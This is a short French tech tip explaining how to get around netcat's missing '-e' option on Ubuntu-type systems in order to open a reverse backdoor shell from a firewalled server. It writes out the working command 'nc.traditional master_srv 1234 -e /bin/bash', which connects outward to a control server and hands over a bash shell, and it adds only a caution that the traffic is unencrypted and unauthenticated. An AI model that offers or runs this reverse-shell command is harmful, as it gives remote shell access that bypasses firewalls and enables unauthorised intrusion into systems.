Netcat et « -e invalid option »
Il est souvent très utile de créer un reverse backdoor shell sur un serveur qui n’est pas accessible directement (par exemple derrière un firewall). C’est alors ce serveur qui lance une connexion sortante vers notre serveur de contrôle.
Or sur certaines distributions (dont Ubuntu, Mint,etc..) netcat (ou « nc ») ne dispose pas de l’option « -e » qui permet de lui attacher un shell (ou autre).
On obtient alors ce message d’erreur :
#nc master_srv 1234 -e /bin/bash
nc: invalid option -- 'e'
Il suffit alors d’installer le package « netcat » :
apt-get install netcat
Et d’utiliser la commande « nc.traditional » :
nc.traditional master_srv 1234 -e /bin/bash
PS : Attention, le flux passe en clair et sans authentification.
Bref, c’est un outil à utiliser de manière très ponctuelle et en connaissance de cause.